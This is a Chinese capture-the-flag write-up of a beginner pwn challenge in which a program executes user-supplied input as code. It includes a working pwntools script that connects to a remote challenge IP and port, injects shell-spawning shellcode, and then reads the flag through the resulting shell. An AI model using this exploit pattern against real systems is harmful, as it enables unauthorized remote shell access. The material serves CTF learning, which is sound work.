下载题目文件 在终端运行程序,查看题目文件类型和保护机制 用对应位数的IDA来打开题目文件 看题目的条件和内容 写python文件 运行python文件得到flag
运行文件(好像不能输入数据)
度娘一下: 出现段错误简单来说就是访问到了不该访问的内存 这些内存不属于用户态的权限范围
查看文件(checksec保护机制)
把程序拉IDA里面分析,F5一键反汇编
程序先输出“input your shellcode”(应该就是我们运行文件里面那一句)
然后调用read函数
这里是我们可以调用read函数向buf里面写入东西
最后一行 ((void (*)(void))buf)()就是调用了buf的函数(一开始没有认真看这一行导致没有做题的思路)
也就是我们把shellcode写进buf中,程序就会调用我们所写的shellcode
要远程攻击服务器,要有相应的ip和端口(可以先进行本地攻击)
编写脚本(还不熟悉,就照葫芦画瓢地打)
#-*- coding: utf-8 -*- #说明Python源程序文件用使用的编码类型改为UTF-8的类型 from pwn import * #导入pwntools context(log_level='debug',os='linux',arch='i386') p = process("./shellcode") #载入程序 p = remote("49.234.71.236",28228) #链接远程服务器 shellcode = asm(shellcraft.i386.linux.sh()) #生成shellcode p.recvuntil("shellcode\n") #接收程序显示出来的字符串,直至运行到read函数 p.sendline(shellcode) #向程序输入一行数据(shellcode) p.interactive() #将程序控制权交给用户,相当于自用运行在终端用python运行我们写好的脚本
获取了shell的权限后,用ls列出所有目录,再用cat flag来夺旗
把flag输入,就成功了,感动QAQ
1.checksec保护机制
2.用pwntools生成shellcode
3.read函数可以为我们往buf写入数据,同时运行了buf,我们把shellcode写进buf,程序会帮我们调用shellcode
4.对recvuntil函数的使用
5.用remote函数链接远端服务器